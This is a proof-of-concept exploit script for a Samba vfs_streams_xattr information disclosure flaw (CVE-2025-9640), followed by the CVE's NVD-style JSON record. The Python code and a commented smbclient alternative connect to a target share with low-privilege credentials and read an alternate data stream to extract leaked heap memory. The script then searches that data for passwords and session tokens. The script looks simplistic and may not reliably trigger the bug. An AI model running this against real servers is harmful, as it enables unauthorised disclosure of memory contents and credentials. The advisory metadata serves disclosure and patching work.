CVE-2025-9640

# CVE-2025-9640 PoC - Samba vfs_streams_xattr Information Disclosure # This PoC demonstrates reading uninitialized heap memory through alternate data streams import smbclient import os import tempfile # Step 1: Configure SMB connection with valid low-privilege credentials smbclient.ClientConfig(username='low_priv_user', password='password123') # Step 2: Connect to the target Samba share share_path = r'\\target_samba_server\shared_folder' # Step 3: Create a file and trigger ADS write with uninitialized heap memory test_file = os.path.join(share_path, 'test_file.txt') # Write minimal data to the main stream with smbclient.open_file(test_file, mode='w') as f: f.write('x') # Step 4: Access the alternate data stream which may contain uninitialized heap data # The ADS name format is filename:streamname ads_path = test_file + ':secret_stream' # Step 5: Read the alternate data stream to extract residual heap memory try: with smbclient.open_file(ads_path, mode='r') as f: leaked_data = f.read() print(f"[*] Leaked data from ADS (hex): {leaked_data.hex()}") print(f"[*] Leaked data length: {len(leaked_data)} bytes") # Analyze leaked content for sensitive patterns if b'password' in leaked_data.lower(): print("[!] Potential credential leak detected!") if b'session' in leaked_data.lower(): print("[!] Potential session token leak detected!") except Exception as e: print(f"[-] Error accessing ADS: {e}") # Alternative: Use smbclient command line tool # smbclient //target_samba_server/shared_folder -U low_priv_user%password123 # > get test_file.txt:secret_stream leaked_data.bin # > exit # xxd leaked_data.bin | head -50

{"cve": {"id": "CVE-2025-9640", "sourceIdentifier": "[email protected]", "published": "2025-10-15T13:16:01.997", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Samba, in the vfs_streams_xattr module, where uninitialized heap memory could be written into alternate data streams. This allows an authenticated user to read residual memory content that may include sensitive data, resulting in an information disclosure vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-9640", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391698", "source": "[email protected]"}, {"url": "https://www.samba.org/samba/history/security.html", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/15/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/16/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00027.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}